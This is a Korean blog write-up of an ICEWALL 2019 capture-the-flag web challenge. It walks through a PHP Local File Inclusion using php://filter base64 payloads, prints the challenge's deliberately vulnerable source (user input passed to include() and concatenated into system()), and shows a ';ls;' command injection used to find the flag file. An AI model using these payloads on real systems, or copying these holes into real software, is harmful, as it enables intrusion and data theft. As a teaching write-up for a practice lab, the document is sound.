본문으로 바로가기

[Web] php-practice-v2 / 200

category ICEWALL 2019. 7. 22. 03:52

http://icewall-ctf.kr:10001/

 

IST에서 진행된 챌린지 중 일부를 변형한 문제다.

https://github.com/DelspoN/ICEWALL/tree/master/2019/ICEWALL-Security-Training/ctf/php-practice

 

GET으로 page 값을 받아서 로컬에 있는 파일을 출력하는데, 여기서 Local File Inclusion 취약점이 발생한다. php protocol로 index.php, p.php와 h1.php를 가져올 수 있다. page에 다음을 넣어주면 된다.

 

php://filter/convert.base64-encode/resource=index.php

php://filter/convert.base64-encode/resource=p.php

php://filter/convert.base64-encode/resource=h1.php

 

<!DOCTYPE html>
<html>
<head>
<title>PHP Practice</title>
</head>
<body>

<a href="?page=p.php">p tag</a>
<a href="?page=h1.php">h1 tag</a>

<?php
if (isset($_GET['page'])) {
  if ($_GET['page'] === 'admin') {
    echo "<script>location.href='admin.php?pw=" . $_GET['pw'] . "'</script>";
  }
  else {
    include($_GET['page']);
  }
}
else {
  ?>
This is a default page.
  <?php
}
?>

</body>
</html>
<p>This is a p tag</p>

<?php
if (isset($_GET['page2'])) {
  if ($_GET['page2'] === 'admin') {
    echo "<script>location.href='admin.php?pw=" . $_GET['pw'] . "'</script>";
  }
  else {
    include($_GET['page2']);
  }
}
?>
<h1>This is a h1 tag</h1>

<?php
if (isset($_GET['page2'])) {
  if ($_GET['page2'] === 'admin') {
    echo "<script>location.href='admin.php?pw=" . $_GET['pw'] . "'</script>";
  }
  else {
    include($_GET['page2']);
  }
}
?>

admin.php의 존재를 확인할 수 있고, 마찬가지로 소스를 가져온다.

 

<?php
  if ($_GET['pw'] === 'p@ssw0rd') {
    system("echo 'Hello admin!'");
  }
  else {
    system("echo 'wrong password : ". $_GET['pw'] ."'");
  }
?>

system을 호출해서 패스워드가 맞는지 틀린지 확인하는데, else 블럭에서 Command Injection 공격을 수행할 수 있다. pw에 ';ls;' 을 넣어주면 파일 목록을 확인할 수 있다.

 

flag_xxx 파일을 확인하면 플래그를 알아낼 수 있다.

 

'ICEWALL' 카테고리의 다른 글

[Web] login-test-v2 / 200  (0) 2019.07.22
[Web] resume2 / 150  (0) 2019.07.22
[Web] resume / 100  (0) 2019.07.22
[Forensic] backdoor / 200  (0) 2019.07.22
[Forensic] secret / 100  (0) 2019.07.22